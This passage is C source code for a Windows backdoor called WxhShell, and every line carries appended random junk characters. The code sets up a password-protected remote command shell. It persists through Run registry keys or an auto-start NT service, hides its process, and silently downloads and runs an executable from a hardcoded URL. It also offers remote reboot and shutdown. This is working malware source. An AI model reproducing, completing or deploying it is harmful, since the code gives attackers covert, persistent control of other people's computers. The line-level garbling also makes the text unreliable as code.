ULONG InheritedFromUniqueProcessId; \y0uGnmCj
} PROCESS_BASIC_INFORMATION; 6 2#dSd}HG
a2`|6M;
PROCNTQSIP NtQueryInformationProcess; I'T@}{h
LuUfdzH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aYPD4yX"/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :7Smsc"B!
e8ZMB$byP
HANDLE hProcess; "yc_*R(pU
PROCESS_BASIC_INFORMATION pbi; v6_fF5N/
*we*IhIP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fp2.2 @[
if(NULL == hInst ) return 0; $
-n?q w
vd}Y$X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lDm0O)Dh!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1me16 5y<B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dAj;g9N/h
,Z6\%:/
if (!NtQueryInformationProcess) return 0; OKp0@A)8
CHX- 4-84{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d~-Cr-s4
if(!hProcess) return 0; f)/5%W7n}
exQU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GH!Lu\y\
Fj~,>
CloseHandle(hProcess); mU3 @|a/@0
UL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z&r@c-l@
if(hProcess==NULL) return 0; }Kc03Ue`%e
<;
(pol|
HMODULE hMod; MTxe5ob`$Q
char procName[255]; %Vp'^,&S
unsigned long cbNeeded; ZdjmZx%%
ic_q<Y}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [b<AQFh<c
+vh 4I
CloseHandle(hProcess); chr^>%Q_
;j]-;wg-;
if(strstr(procName,"services")) return 1; // 以服务启动 a
J&)-ge
FV->226o%
return 0; // 注册表启动
|wFfVDp
} lQSKY}h
(dh{Gk4=+
// 主模块 `/0S]?a.{B
int StartWxhshell(LPSTR lpCmdLine) H3{FiB]
{ <.yL&$9
SOCKET wsl; e
MT5bn
BOOL val=TRUE; D[5Qd)PIL
int port=0; x&SG gl
struct sockaddr_in door; :t36]NM
x8]5> G8(r
if(wscfg.ws_autoins) Install(); 3+j!{tJ
z2
`Z3p( G
port=atoi(lpCmdLine); _Bp{~-fO
T3W?-,
if(port<=0) port=wscfg.ws_port;
Pq@%MF]5
>)sB#<e
WSADATA data; '%2q'LqSA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y%B:IeF}
K~ 6[zJ4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~F
,mc.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b;X|[tB
door.sin_family = AF_INET; - 9Ll'fbq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ah(lH5r
door.sin_port = htons(port); l*`2EJ
Q,.[y"m9Y.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PSM~10l,
closesocket(wsl); ,o3{?o]s
return 1; 8 )W{C>
} !G0OD$
F"k.1.
if(listen(wsl,2) == INVALID_SOCKET) { bh9!OqK9K
closesocket(wsl); w[bhm$SX]B
return 1; 8hK\Ya:mP
} -f+U:/'.>v
Wxhshell(wsl); QR+{Yp
WSACleanup(); 91
] "D;NN
M+mO4q6
return 0; nsRZy0@$t
_wC4n }J
} `H:5D5]
l Wa4X#~.
// 以NT服务方式启动 01 vEt
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `pHlGbrW
{ /qYo*S_cG
DWORD status = 0; QL<uQ`>(
DWORD specificError = 0xfffffff; o]#M8)=
5L'bF2SI
serviceStatus.dwServiceType = SERVICE_WIN32; ranLHm.nB
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^X&n-ui
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 80p? qe
serviceStatus.dwWin32ExitCode = 0; Hq[vh7Lux
serviceStatus.dwServiceSpecificExitCode = 0; Jj~c&LxrO
serviceStatus.dwCheckPoint = 0; !zd]6YL$
serviceStatus.dwWaitHint = 0; HW{si]~q
_* xjG \!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x"n!nT%Z
if (hServiceStatusHandle==0) return; #~
:j< =o
u9t@%H)lZ
status = GetLastError(); bD&^-&
G
if (status!=NO_ERROR) !L+4YA
{ HF3W,eaqK
serviceStatus.dwCurrentState = SERVICE_STOPPED; K%XQdMv
serviceStatus.dwCheckPoint = 0; * 5H
serviceStatus.dwWaitHint = 0; HG1)q\Xd
serviceStatus.dwWin32ExitCode = status; jkPye{j
serviceStatus.dwServiceSpecificExitCode = specificError; rNdeD~\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +w(sDH~kd
return; peA}/Jc
} {HJzhIgCf
d!V;\w
serviceStatus.dwCurrentState = SERVICE_RUNNING; KxEy
N (n
serviceStatus.dwCheckPoint = 0; B1EI'<S
serviceStatus.dwWaitHint = 0; ZB+N[VJs)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v4?qI >/
} k/"^W.B aj
:YZqrcr}
// 处理NT服务事件,比如:启动、停止 &a'H vQV
VOID WINAPI NTServiceHandler(DWORD fdwControl) duCso M/
{ 1;; is
switch(fdwControl) ` )9nBZ
{ /[[_}\xI%
case SERVICE_CONTROL_STOP: eV?._-G
serviceStatus.dwWin32ExitCode = 0; EJd l%j
serviceStatus.dwCurrentState = SERVICE_STOPPED; {,Y?+F
serviceStatus.dwCheckPoint = 0; ,rvw E
serviceStatus.dwWaitHint = 0; \S[7-:Lu^
{ 9WXJz;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `N+A8
} 9t
3mU:
return; a/9R~DwN
case SERVICE_CONTROL_PAUSE: .
6wyu7oK
serviceStatus.dwCurrentState = SERVICE_PAUSED; px@:t}
break; }U)g<Kzh
case SERVICE_CONTROL_CONTINUE: ?s4-2g
serviceStatus.dwCurrentState = SERVICE_RUNNING; uR|?5DK
break; 9#:b+Amzz
case SERVICE_CONTROL_INTERROGATE: Q(P'4XCm
break; N;<.::x
}; .qjVw?E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J!
;g.q
} uF xrv
J&64tQl*
// 标准应用程序主函数 y*Egt `W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) orGNza"A
{ `m6>r9:
&WSxg&YG)\
// 获取操作系统版本 =B}a +0u!
OsIsNt=GetOsVer(); `yjHLg
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZI'MfkEZ*
41c]o<!=)j
// 从命令行安装 d$>TC(E=t
if(strpbrk(lpCmdLine,"iI")) Install(); !.\EU*)1
G_GPnKdd
// 下载执行文件 zEG6T *
if(wscfg.ws_downexe) { -E6#G[JJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QvM+]pdR6
WinExec(wscfg.ws_filenam,SW_HIDE); L5%t.7B
} jo75MSj
Nm{\?
if(!OsIsNt) { %LeQpbyOR
// 如果时win9x,隐藏进程并且设置为注册表启动 T#;W5<"
HideProc(); / S32)=(
StartWxhshell(lpCmdLine); Z`5jX;Z!
} =x9SvIm/tH
else axJuJ`+Y
if(StartFromService()) +.Pv:7gh
// 以服务方式启动 "7v/-
StartServiceCtrlDispatcher(DispatchTable); ?F{sym@i
else 'H"wu
/#
// 普通方式启动 0GUm~zi1
StartWxhshell(lpCmdLine); !N\<QRb\q
-__RFxG
return 0; YCv)DW;
} `Gct_6
]V|rOt xb
EV1x"}D A_
qJjXN+/D
=========================================== iFJ2dFA
gN2$;hb?
\Wdl1 =`
'q158x
C,*3a`/2M^
4&r5M
" {WBe(dc_%
#6t 4 vJ1
#include <stdio.h> |u r/6{Oj1
#include <string.h> U3Fa.bC6}
#include <windows.h> 7_OC&hhL
#include <winsock2.h> C5}c?=#bdf
#include <winsvc.h> w %4SNR
#include <urlmon.h> @vsgmz
?vmu,y
#pragma comment (lib, "Ws2_32.lib") ?]*WVjskE
#pragma comment (lib, "urlmon.lib") /_WAF90R?
3.i$lp`t
#define MAX_USER 100 // 最大客户端连接数 @uh^)6i]/
#define BUF_SOCK 200 // sock buffer ~lBb%M
#define KEY_BUFF 255 // 输入 buffer '}4z=f`}
a
~s:f5S>
#define REBOOT 0 // 重启 ` ,lm:x+(0
#define SHUTDOWN 1 // 关机 CbvP1*1
6MCLm.L
#define DEF_PORT 5000 // 监听端口 \9HpbCHr
~]sj.>P
#define REG_LEN 16 // 注册表键长度 Cz1Q@<)
#define SVC_LEN 80 // NT服务名长度 f ZEyXb
1 X8P v*,
// 从dll定义API ae%Bl[
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :Dt]sE_d
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy.gr4Cm
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fL^$G;_?3
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7 XNZEi9o
1K*`i(
// wxhshell配置信息 %bN+Y'
struct WSCFG { _i3?;Fds
int ws_port; // 监听端口 FTF`-}Hz
char ws_passstr[REG_LEN]; // 口令 5T*Uq>x0
int ws_autoins; // 安装标记, 1=yes 0=no <?2g\+{s9
char ws_regname[REG_LEN]; // 注册表键名 VyMFALSe]h
char ws_svcname[REG_LEN]; // 服务名 RJ\'"XQ
char ws_svcdisp[SVC_LEN]; // 服务显示名 o+],L_Ab
char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Yk!R9.
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v pg*J/1[
int ws_downexe; // 下载执行标记, 1=yes 0=no T`zUgZ]
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BvnNAi
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]$7yB3S,B
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}; #\zC|%2+z
whW%c8
// default Wxhshell configuration 3>T2k }
struct WSCFG wscfg={DEF_PORT, r!N> FE
"xuhuanlingzhe", |j2$G~B6
1, QmKEl|/{u
"Wxhshell", W>_K+:t
"Wxhshell", DqJzsk'd3
"WxhShell Service", gLss2i.r
"Wrsky Windows CmdShell Service", [mcER4]}
"Please Input Your Password: ", e"d-$$'e
1, ^KF%Z2:$
"http://www.wrsky.com/wxhshell.exe", z%q)}$O
"Wxhshell.exe" r}\m%(i
}; l!*!)qCB(S
H5eGl|Z5]^
// 消息定义模块 O}-+o 1
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;u?L>(b
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9dO. ,U*`
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5M&<tj/[a0
char *msg_ws_ext="\n\rExit."; jmBsPSGIC
char *msg_ws_end="\n\rQuit."; HkQ rij6
char *msg_ws_boot="\n\rReboot..."; pwg\b
char *msg_ws_poff="\n\rShutdown..."; 9 gc0Ri[4m
char *msg_ws_down="\n\rSave to "; grxlGS~Q
X|'[\v2ld
char *msg_ws_err="\n\rErr!"; h]vuBHJ}
char *msg_ws_ok="\n\rOK!"; 0K(&EpVE
NX&Z=ObHu}
char ExeFile[MAX_PATH]; n`X}&(O
int nUser = 0; I]-"Tw
HANDLE handles[MAX_USER]; ZA7b;{o [
int OsIsNt; 3rj7]:Vr
| /X+2K}3
SERVICE_STATUS serviceStatus; @:/H)F^x
SERVICE_STATUS_HANDLE hServiceStatusHandle; NydF'N_1
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// 函数声明 @M*oq2U;
int Install(void); YS bS.tq
int Uninstall(void); b?j\YX[e
int DownloadFile(char *sURL, SOCKET wsh); >x*ef]aS
int Boot(int flag); ew&"n2r
void HideProc(void); .k"unclT0
int GetOsVer(void); x"P@[T
int Wxhshell(SOCKET wsl); =<X4LO)C
void TalkWithClient(void *cs); sdBB(
int CmdShell(SOCKET sock); J%IKdxa
int StartFromService(void); Y^QG\6q
int StartWxhshell(LPSTR lpCmdLine); #'5{
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IOY<'t+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bl-D{)X
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1b<[/g9
{ceY:49
// 数据结构和表定义 6lm<>#_
SERVICE_TABLE_ENTRY DispatchTable[] = w7~cY=
{ W.l#@p
{wscfg.ws_svcname, NTServiceMain}, '3=@UBs
{NULL, NULL} [JEf P/n|.
}; ZKJhmk
hm0MO,i"
// 自我安装 #s{EIj~YR_
int Install(void) 9vBW CCf
{ ZU;nXqjc
char svExeFile[MAX_PATH]; {$I1(DYN
HKEY key; m U= 3w
strcpy(svExeFile,ExeFile); j/F:j5O*
N_E)f
// 如果是win9x系统,修改注册表设为自启动 L\q-Z..
if(!OsIsNt) { xHe"c<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QsBC[7<jd-
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P1&Irwb`
RegCloseKey(key); x$z>.4
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -d[Gy-
J
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UlPhW~F)
RegCloseKey(key); =
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return 0; a28`)17z
} -0+h&CO
} SP;1XXlL
} |?v+8QL,;t
else { }"STc&1
A#gy[.Bb
// 如果是NT以上系统,安装为系统服务 usw(]CnH
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \eXuNv_
if (schSCManager!=0) LC qWL1
{ 5Vr#>W
SC_HANDLE schService = CreateService C8 y[B1Y
( 2BO"mc<#$
schSCManager, \=H+m%
wscfg.ws_svcname, s0'6r$xj
wscfg.ws_svcdisp, ^@<Ia-x
SERVICE_ALL_ACCESS, YoSBS
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <m*j1|^{t
SERVICE_AUTO_START, vBV_aB1{
SERVICE_ERROR_NORMAL, MAD t$_
svExeFile, hLaQ[9
NULL, |eksvO'~
NULL, [j?<&